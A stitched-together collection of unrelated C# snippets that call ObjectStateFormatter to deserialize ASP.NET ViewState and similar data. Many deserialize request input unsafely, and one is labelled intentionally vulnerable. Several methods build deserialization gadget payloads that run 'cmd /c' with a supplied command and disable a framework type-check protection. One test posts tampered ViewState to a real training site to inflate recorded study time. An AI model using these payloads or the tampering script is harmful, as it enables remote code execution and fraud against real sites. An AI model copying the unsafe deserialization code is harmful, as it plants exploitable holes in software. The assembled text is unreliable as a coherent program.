internal static object GetStringDeserialized(string value) { value = value.Replace(' ', '+'); // TODO: decrypt ObjectStateFormatter formatter = new ObjectStateFormatter(); if (string.IsNullOrEmpty(value)) { return(null); } else if (value.StartsWith("session-")) { return(UploadSession.Deserialize(value.Substring("session-".Length))); } else if (value.StartsWith("request-")) { return(UploadRequest.Deserialize(value.Substring("request-".Length))); } else if (value.StartsWith("sessionlist-")) { string[] uploadSessionStrings = (string[])formatter.Deserialize(value.Substring("sessionlist-".Length)); List <UploadSession> sessions = new List <UploadSession>(); foreach (string sessionString in uploadSessionStrings) { sessions.Add(UploadSession.Deserialize(sessionString)); } return(sessions); } else if (value.StartsWith("requestlist-")) { string[] uploadRequestStrings = (string[])formatter.Deserialize(value.Substring("requestlist-".Length)); List <UploadRequest> requests = new List <UploadRequest>(); foreach (string requestString in uploadRequestStrings) { requests.Add(UploadRequest.Deserialize(requestString)); } return(requests); } else { return(formatter.Deserialize(value)); } }
private static AntiForgeryData DecryptCookie(string value, string salt) { AntiForgeryData token = new AntiForgeryData(); try { ObjectStateFormatter formatter = new ObjectStateFormatter(); Triplet triplet; byte[] decode = MachineKey.Unprotect(Encoding.UTF8.GetBytes(value), "Authentication token"); // var decode = MachineKey.Decode(value, MachineKeyProtection.All); if (decode == null) { throw new ArgumentException("Unable to decrypt."); } using (MemoryStream stream = new MemoryStream(decode)) { triplet = (Triplet)formatter.Deserialize(stream); } return(Decrypt(value, formatter, triplet, salt, token)); } catch (Exception) { throw new HttpAntiForgeryException(); } }
protected override object LoadPageStateFromPersistenceMedium() { var compressedViewState = Request.Form[CompressedViewstateKey]; var bytes = Uncompress(Convert.FromBase64String(compressedViewState)); return(_formatter.Deserialize(Convert.ToBase64String(bytes))); }
public static T Deserialize <T>(byte[] info, bool compress) { T ret = default(T); if (info == null || info.Length <= 0) { return(ret); } if (compress) { info = CompressHelper.DeCompressBytes(info); } MemoryStream stream = MemoryStreamStacker.GetMemoryStream(); try { stream.Write(info, 0, info.Length); stream.Position = 0L; ret = (T)InnerStateFormatter.Deserialize(stream); } finally { MemoryStreamStacker.ReleaseMemoryStream(stream); } return(ret); }
/// <summary> /// /// </summary> /// <param name="data"></param> /// <returns></returns> public static Dictionary <string, PersonalizationInfo> Decode(byte[] data) { if (data == null || data.Length == 0) { return(null); } try { Dictionary <string, PersonalizationInfo> result = new Dictionary <string, PersonalizationInfo>(); Queue <object> DataQueue; ObjectStateFormatter formatter = new ObjectStateFormatter(); using (MemoryStream stream = new MemoryStream(data)) { object[] DataArray = (object[])formatter.Deserialize(stream); DataQueue = new Queue <object>(DataArray); } int version = (int)DataQueue.Dequeue(); if (version == 2) { int NumberOfParts = (int)DataQueue.Dequeue(); for (int PartCounter = 0; PartCounter < NumberOfParts; PartCounter++) { PersonalizationInfo info = PersonalizationInfo.FromObjectQueue(DataQueue); result.Add(info.ControlID, info); } } return(result); } catch { } return(null); }
// <snippet2> private ICollection LoadControlProperties(string serializedProperties) { ICollection controlProperties = null; // Create an ObjectStateFormatter to deserialize the properties. ObjectStateFormatter formatter = new ObjectStateFormatter(); try { // Call the Deserialize method. controlProperties = (ArrayList)formatter.Deserialize(serializedProperties); } catch (HttpException e) { ViewStateException vse = (ViewStateException)e.InnerException; String logMessage; logMessage = "ViewStateException. Path: " + vse.Path + Environment.NewLine; logMessage += "PersistedState: " + vse.PersistedState + Environment.NewLine; logMessage += "Referer: " + vse.Referer + Environment.NewLine; logMessage += "UserAgent: " + vse.UserAgent + Environment.NewLine; LogEvent(logMessage); if (vse.IsConnected) { HttpContext.Current.Response.Redirect("ErrorPage.aspx"); } else { throw e; } } return(controlProperties); }
public static object ObjectStateFormatter_deserialize(string str) { byte[] byteArray = Convert.FromBase64String(str); MemoryStream ms = new MemoryStream(byteArray); ObjectStateFormatter sf = new ObjectStateFormatter(); return(sf.Deserialize(ms)); }
public static ArrayList DeSerializeStringToArray2(string eventValidation) { ObjectStateFormatter _formatter = new ObjectStateFormatter(); string test = _formatter.Deserialize(eventValidation).ToString(); Console.WriteLine(test); return(new ArrayList()); }
LoadPageStateFromPersistenceMedium() { string vsString = Request.Form["__COMPRESSEDVIEWSTATE"]; byte[] bytes = Convert.FromBase64String(vsString); bytes = CompressViewState.Decompress(bytes); return(_formatter.Deserialize(Convert.ToBase64String(bytes))); }
private void WriteEventValidation(string key, string value) { if (key == "__EVENTVALIDATION") { var formatter = new ObjectStateFormatter(); var array = formatter.Deserialize(value); } }
protected virtual object DeserializeViewState(string viewState, out string hash) { ObjectStateFormatter formatter = new ObjectStateFormatter(); hash = MD5HashHelper.HashUsingDefaultEncoding(viewState ?? string.Empty); var result = formatter.Deserialize(viewState); return(result); }
//Security Warning: The following code is intentionally vulnerable to a serialization vulnerability public T Deserialize(string data) { var ser = new ObjectStateFormatter(); var bytes = Convert.FromBase64String(data); using (var stream = new MemoryStream(bytes)) { return((T)ser.Deserialize(stream)); } }
public static PropertyBag CreatePropertyBagFromState(string state, bool readOnly) { var formatter = new ObjectStateFormatter(); var bag = (PropertyBag)formatter.Deserialize(state); if (readOnly) { bag._isReadOnly = true; } return(bag); }
// <snippet2> private ICollection LoadControlProperties(string serializedProperties) { ICollection controlProperties = null; // Create an ObjectStateFormatter to deserialize the properties. ObjectStateFormatter formatter = new ObjectStateFormatter(); // Call the Deserialize method. controlProperties = (ArrayList)formatter.Deserialize(serializedProperties); return(controlProperties); }
private void cmdViewStateTest_Click(object sender, EventArgs e) { string viewState = txtOriginalEventString.Text; ObjectStateFormatter _formatter = new ObjectStateFormatter(); object _v = _formatter.Deserialize(viewState); Pair _parent = (System.Web.UI.Pair)((System.Web.UI.Pair)_v).First; Pair _second = (System.Web.UI.Pair)_parent.Second; ArrayList _third = (ArrayList)_second.Second; Console.WriteLine("hello"); }
private object DeSerializeInternal(IStateFormatter StateFormatter, byte[] bytes) { ObjectStateFormatter format = (ObjectStateFormatter)StateFormatter; MemoryStream memoryStream = (MemoryStream)_GetMemoryStream.Invoke(format, null); memoryStream.Write(bytes, 0, bytes.Length); memoryStream.Position = 0; object viewState = format.Deserialize(memoryStream); memoryStream.Position = 0; memoryStream.SetLength(0); return(viewState); }
/// <summary> /// LoadPageStateFromPersistenceMedium - Decompress Gzip ViewState /// </summary> protected override object LoadPageStateFromPersistenceMedium() { try { string viewState = base.LoadPageStateFromPersistenceMedium().ToString() != "System.Web.UI.Pair" ? base.LoadPageStateFromPersistenceMedium().ToString() : ((Pair)base.LoadPageStateFromPersistenceMedium()).Second.ToString(); byte[] bytes = Convert.FromBase64String(viewState); bytes = Compressor.Decompress(bytes); return(_objectStateFormatter.Deserialize(Convert.ToBase64String(bytes))); } catch { return(base.LoadPageStateFromPersistenceMedium()); } }
/// <summary> /// Deserializes a string generated by <see cref="UploadSession.Serialize" /> into an <see cref="UploadSession" /> instance. /// </summary> /// <param name="value">The string to deserialize.</param> /// <returns>An <see cref="UploadSession" /> instance.</returns> public static UploadSession Deserialize(string value) { ObjectStateFormatter formatter = new ObjectStateFormatter(); object[] values = formatter.Deserialize(value) as object[]; if (values != null && values.Length > 0) { return(new UploadSession(values)); } else { return(null); } }
/// <summary> /// Deserializes the __EVENTVALIDATION value found in the html hidden field to an /// array list which can then be manipulated. /// </summary> /// <param name="eventValidation"></param> /// <returns></returns> public static ArrayList DeSerializeStringToArray(string eventValidation) { ArrayList list = new ArrayList(); ObjectStateFormatter _formatter = new ObjectStateFormatter(); try { list = (ArrayList)_formatter.Deserialize(eventValidation); } catch (InvalidCastException e) // If we get this, it is probably .Net 4.0 { list.Add(".Net 4.0"); } return(list); }
/// <summary> /// Метод по обработке запроса /// </summary> public void ProcessRequest(HttpContext context) { //todo: если такой GUID не существуют, доделать возврат ошибки и перегрузить страницу всвязи с устареванием сессии. //разместите здесь вашу реализацию обработчика. if (!String.IsNullOrWhiteSpace(context.Request["__VIEWSTATE"])) { var formatter = new ObjectStateFormatter(); var pair = formatter.Deserialize(context.Request["__VIEWSTATE"]) as Pair; if (pair != null && pair.First != null && pair.First.ToString().Length == 36) { if (StsSqlPageStatePersister.ResetPageStateTimeout(new Guid(pair.First.ToString()))) { context.Response.Write("OK"); } } } }
/// <summary> /// 加载页面状态 /// </summary> public override void Load() { //取得保存在客户端的状态内容 String postbackstate = Page.Request.Form[STATEKEY]; if (!String.IsNullOrEmpty(postbackstate)) { //解压,反序列化 //asp.net的viewstate包括控件状态和视图状态 //存储两个相关对象 postbackstate = SevenZipSharpHelper.Decompress(postbackstate); ObjectStateFormatter format = new ObjectStateFormatter(); Pair data = (Pair)format.Deserialize(postbackstate); ViewState = data.First; ControlState = data.Second; } }
protected override object LoadPageStateFromPersistenceMedium() { try { // ReSharper disable once RedundantAssignment String viewState = ""; // ReSharper disable once PossibleNullReferenceException viewState = base.LoadPageStateFromPersistenceMedium().ToString() != "System.Web.UI.Pair" ? base.LoadPageStateFromPersistenceMedium().ToString() : ((System.Web.UI.Pair)base.LoadPageStateFromPersistenceMedium()).Second.ToString(); byte[] bytes = Convert.FromBase64String(viewState); bytes = Compressor.Decompress(bytes); return(_objectStateFormatter.Deserialize(Convert.ToBase64String(bytes))); } catch { return(base.LoadPageStateFromPersistenceMedium()); } }
public object Serialize(object cmdobj, string formatter, Boolean test) { MemoryStream stream = new MemoryStream(); if (formatter.ToLower().Equals("binaryformatter")) { BinaryFormatter fmt = new BinaryFormatter(); fmt.Serialize(stream, cmdobj); if (test) { try { stream.Position = 0; fmt.Deserialize(stream); } catch { } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("objectstateformatter")) { ObjectStateFormatter osf = new ObjectStateFormatter(); osf.Serialize(stream, cmdobj); if (test) { try { stream.Position = 0; osf.Deserialize(stream); } catch { } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("soapformatter")) { SoapFormatter sf = new SoapFormatter(); sf.Serialize(stream, cmdobj); if (test) { try { stream.Position = 0; sf.Deserialize(stream); } catch { } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("netdatacontractserializer")) { NetDataContractSerializer ndcs = new NetDataContractSerializer(); ndcs.Serialize(stream, cmdobj); if (test) { try { stream.Position = 0; ndcs.Deserialize(stream); } catch { } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("losformatter")) { LosFormatter lf = new LosFormatter(); lf.Serialize(stream, cmdobj); if (test) { try { stream.Position = 0; lf.Deserialize(stream); } catch { } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("json.net")) { String payload = @"{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd','/c " + cmdobj + @"'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} }"; if (test) { try { Object obj = JsonConvert.DeserializeObject <Object>(payload, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto });; } catch { } } return(payload); } else if (formatter.ToLower().Equals("fastjson")) { String payload = @"{ ""$types"":{ ""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35"":""1"", ""System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""2"", ""System.Diagnostics.ProcessStartInfo, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""3"" }, ""$type"":""1"", ""ObjectInstance"":{ ""$type"":""2"", ""StartInfo"":{ ""$type"":""3"", ""FileName"":""cmd"", ""Arguments"":""/c " + cmdobj + @""" } }, ""MethodName"":""Start"" }"; if (test) { try { var instance = JSON.ToObject <Object>(payload); } catch { } } return(payload); } else if (formatter.ToLower().Equals("javascriptserializer")) { String payload = @"{ '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'ObjectInstance':{ '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'StartInfo': { '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'FileName':'cmd', 'Arguments':'/c " + cmdobj + @"' } } }"; if (test) { try { JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver()); var json_req = jss.Deserialize <Object>(payload); } catch { } } return(payload); } else { throw new Exception("Formatter not supported"); } }
public object Serialize(object payloadObj, string formatter, InputArgs inputArgs) { // Disable ActivitySurrogate type protections during generation ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true"); MemoryStream stream = new MemoryStream(); if (formatter.ToLower().Equals("binaryformatter")) { BinaryFormatter fmt = new BinaryFormatter(); fmt.Serialize(stream, payloadObj); if (inputArgs.Test) { try { stream.Position = 0; fmt.Deserialize(stream); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("objectstateformatter")) { ObjectStateFormatter osf = new ObjectStateFormatter(); osf.Serialize(stream, payloadObj); if (inputArgs.Test) { try { stream.Position = 0; osf.Deserialize(stream); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("soapformatter")) { SoapFormatter sf = new SoapFormatter(); sf.Serialize(stream, payloadObj); if (inputArgs.Minify) { stream.Position = 0; if (inputArgs.UseSimpleType) { stream = XMLMinifier.Minify(stream, new String[] { "Microsoft.PowerShell.Editor" }, null, FormatterType.SoapFormatter, true); } else { stream = XMLMinifier.Minify(stream, null, null, FormatterType.SoapFormatter, true); } } if (inputArgs.Test) { try { stream.Position = 0; sf.Deserialize(stream); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("netdatacontractserializer")) { NetDataContractSerializer ndcs = new NetDataContractSerializer(); ndcs.Serialize(stream, payloadObj); if (inputArgs.Minify) { stream.Position = 0; if (inputArgs.UseSimpleType) { stream = XMLMinifier.Minify(stream, new string[] { "mscorlib", "Microsoft.PowerShell.Editor" }, null, FormatterType.NetDataContractXML, true); } else { stream = XMLMinifier.Minify(stream, null, null, FormatterType.NetDataContractXML, true); } } if (inputArgs.Test) { try { stream.Position = 0; ndcs.Deserialize(stream); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("losformatter")) { LosFormatter lf = new LosFormatter(); lf.Serialize(stream, payloadObj); if (inputArgs.Test) { try { stream.Position = 0; lf.Deserialize(stream); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(stream.ToArray()); } else { throw new Exception("Formatter not supported"); } }
public static object StringDeserialize(string objString) { ObjectStateFormatter osf = new ObjectStateFormatter(); return(osf.Deserialize(objString)); }
public object Serialize(object cmdobj, string formatter, Boolean test) { MemoryStream stream = new MemoryStream(); if (formatter.ToLower().Equals("binaryformatter")) { BinaryFormatter fmt = new BinaryFormatter(); fmt.Serialize(stream, cmdobj); if (test) { try { stream.Position = 0; fmt.Deserialize(stream); } catch { } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("objectstateformatter")) { ObjectStateFormatter osf = new ObjectStateFormatter(); osf.Serialize(stream, cmdobj); if (test) { try { stream.Position = 0; osf.Deserialize(stream); } catch { } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("soapformatter")) { SoapFormatter sf = new SoapFormatter(); sf.Serialize(stream, cmdobj); if (test) { try { stream.Position = 0; sf.Deserialize(stream); } catch { } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("netdatacontractserializer")) { NetDataContractSerializer ndcs = new NetDataContractSerializer(); ndcs.Serialize(stream, cmdobj); if (test) { try { stream.Position = 0; ndcs.Deserialize(stream); } catch { } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("losformatter")) { LosFormatter lf = new LosFormatter(); lf.Serialize(stream, cmdobj); if (test) { try { stream.Position = 0; lf.Deserialize(stream); } catch { } } return(stream.ToArray()); } else { throw new Exception("Formatter not supported"); } }
public void TestMethod2() { string viewstate = string.Empty; string validation = string.Empty; int bookId = 32; int studyPlanBookId = 69; int learned = 143; string url = string.Format("http://nankaiqu.fxlxm.teacher.com.cn/GuoPeiAdmin/CourseStudy/RecordTimeNew.aspx?bookid={0}&StudyPlanBookID={1}", bookId, studyPlanBookId); HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(new Uri(url)); request.Method = WebRequestMethods.Http.Get; request.Referer = string.Format("http://nankaiqu.fxlxm.teacher.com.cn/GuoPeiAdmin/CourseStudy/StudyfrmNew.aspx?StudyPlanBookID={0}", bookId); request.Accept = "text/html, application/xhtml+xml, */*"; request.ContentType = "application/x-www-form-urlencoded"; request.Headers.Add("Accept-Language", "en-US"); request.Headers.Add("Accept-Encoding", "gzip,deflate"); request.KeepAlive = true; request.Headers.Add("Cache-Control", "no-cache"); HttpWebResponse response = (HttpWebResponse)request.GetResponse(); long total = response.ContentLength; int current = 0; byte[] content = new byte[1024]; StringBuilder sb = new StringBuilder(); using (Stream rs = response.GetResponseStream()) { if (rs != null) { while (total > current) { current += rs.Read(content, 0, content.Length); sb.Append(Encoding.UTF8.GetString(content, 0, content.Length)); } rs.Flush(); } else { return; } } string form = sb.ToString(); Match m = Regex.Match(form, "<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"(?<viewstate>.*?)\" />"); if (m.Success) { viewstate = m.Groups["viewstate"].Value; } m = Regex.Match(form, "<input type=\"hidden\" name=\"__EVENTVALIDATION\" id=\"__EVENTVALIDATION\" value=\"(?<validation>.*?)\"\\s*/>"); if (m.Success) { validation = m.Groups["validation"].Value; } string suffix; ObjectStateFormatter parser = new ObjectStateFormatter(); Pair dviewState = (Pair)parser.Deserialize(viewstate); Pair one = (Pair)(dviewState.First ?? dviewState.Second); Pair states = (Pair)one.Second; ArrayList users = (ArrayList)states.First; // Change start date time DateTime started = DateTime.Parse(users[1].ToString()); users[1] = started.AddMinutes(-20).ToString("yyyy-MM-dd hh:mm:ss"); bool exist = users.Cast <object>().Any(o => o is IndexedString && (o as IndexedString).Value == "BookID"); if (!exist) { users.Add(new IndexedString("BookID")); users.Add(bookId.ToString(CultureInfo.InvariantCulture)); } if (states.Second == null) { ArrayList controls = new ArrayList() { 3, new Pair() { First = null, Second = new ArrayList() { 13, new Pair() { Second = null, First = new Pair() { Second = null, First = new ArrayList() { new IndexedString("Text"), learned.ToString(CultureInfo.InvariantCulture) } } } } } }; states.Second = controls; } viewstate = parser.Serialize(dviewState); int needed = 7; string name = "教师心理健康与压力管理"; int minites = 20; int txtUserId = 69973; string eventTarget = "timeupdate"; string eventArg = string.Empty; int passedtime = minites * 60; //17*60; request = (HttpWebRequest)HttpWebRequest.Create(new Uri(url)); request.Method = WebRequestMethods.Http.Post; request.Referer = string.Format("http://nankaiqu.fxlxm.teacher.com.cn/GuoPeiAdmin/CourseStudy/RecordTimeNew.aspx?bookid={0}&StudyPlanBookID={1}", bookId, studyPlanBookId); request.Accept = "text/html, application/xhtml+xml, */*"; request.ContentType = "application/x-www-form-urlencoded"; request.Headers.Add("Accept-Language", "en-US"); request.Headers.Add("Accept-Encoding", "gzip,deflate"); request.KeepAlive = true; request.Headers.Add("Cache-Control", "no-cache"); form = string.Format( "__EVENTTARGET={0}&__EVENTARGUMENT={1}&__VIEWSTATE={2}&txtUserId={3}&passedtime={4}&__EVENTVALIDATION={5}", eventTarget, eventArg, viewstate, txtUserId, passedtime, validation); content = Encoding.Default.GetBytes(form); request.ContentLength = content.Length; using (Stream s = request.GetRequestStream()) { s.Write(content, 0, content.Length); s.Flush(); } response = (HttpWebResponse)request.GetResponse(); if (response.StatusCode == HttpStatusCode.OK) { //long total = response.ContentLength; current = 1; content = new byte[1024]; sb = new StringBuilder(); using (Stream rs = response.GetResponseStream()) { if (rs != null) { while (current > 0) { current = rs.Read(content, 0, content.Length); sb.Append(Encoding.UTF8.GetString(content, 0, content.Length)); } rs.Flush(); } else { Console.WriteLine("{1}: {0} -> Failed, Cannot get response stream.", name, DateTime.Now.ToShortTimeString()); return; } } form = sb.ToString(); string pattern1 = "(alert\\(\\'你最后一次更新时间是.*?目前系统时间为.*?时间还不够20分钟,所以这次更新时间操作无效。\\'\\));|(alert\\(\\'计时出错,重新计时!\\'\\);)"; Regex r = new Regex(pattern1, RegexOptions.Compiled); m = r.Match(form); if (!m.Success) { Console.WriteLine("{3}: {0} -> Updated {1}, Remaining {2}", name, minites, needed, DateTime.Now.ToShortTimeString()); } else { Console.WriteLine("{1}: {0} -> Failed, {2}", name, DateTime.Now.ToShortTimeString(), "< 20 mins or timer error"); } } else { Console.WriteLine("{1}: {0} -> Failed, {2}", name, DateTime.Now.ToShortTimeString(), response.StatusDescription); } }
public object Serialize(object cmdobj, string formatter, Boolean test) { // Disable ActivitySurrogate type protections during generation ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true"); MemoryStream stream = new MemoryStream(); if (formatter.ToLower().Equals("binaryformatter")) { BinaryFormatter fmt = new BinaryFormatter(); fmt.Serialize(stream, cmdobj); if (test) { try { stream.Position = 0; fmt.Deserialize(stream); } catch { } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("objectstateformatter")) { ObjectStateFormatter osf = new ObjectStateFormatter(); osf.Serialize(stream, cmdobj); if (test) { try { stream.Position = 0; osf.Deserialize(stream); } catch { } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("soapformatter")) { SoapFormatter sf = new SoapFormatter(); sf.Serialize(stream, cmdobj); if (test) { try { stream.Position = 0; sf.Deserialize(stream); } catch { } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("netdatacontractserializer")) { NetDataContractSerializer ndcs = new NetDataContractSerializer(); ndcs.Serialize(stream, cmdobj); if (test) { try { stream.Position = 0; ndcs.Deserialize(stream); } catch { } } return(stream.ToArray()); } else if (formatter.ToLower().Equals("losformatter")) { LosFormatter lf = new LosFormatter(); lf.Serialize(stream, cmdobj); if (test) { try { stream.Position = 0; lf.Deserialize(stream); } catch { } } return(stream.ToArray()); } else { throw new Exception("Formatter not supported"); } }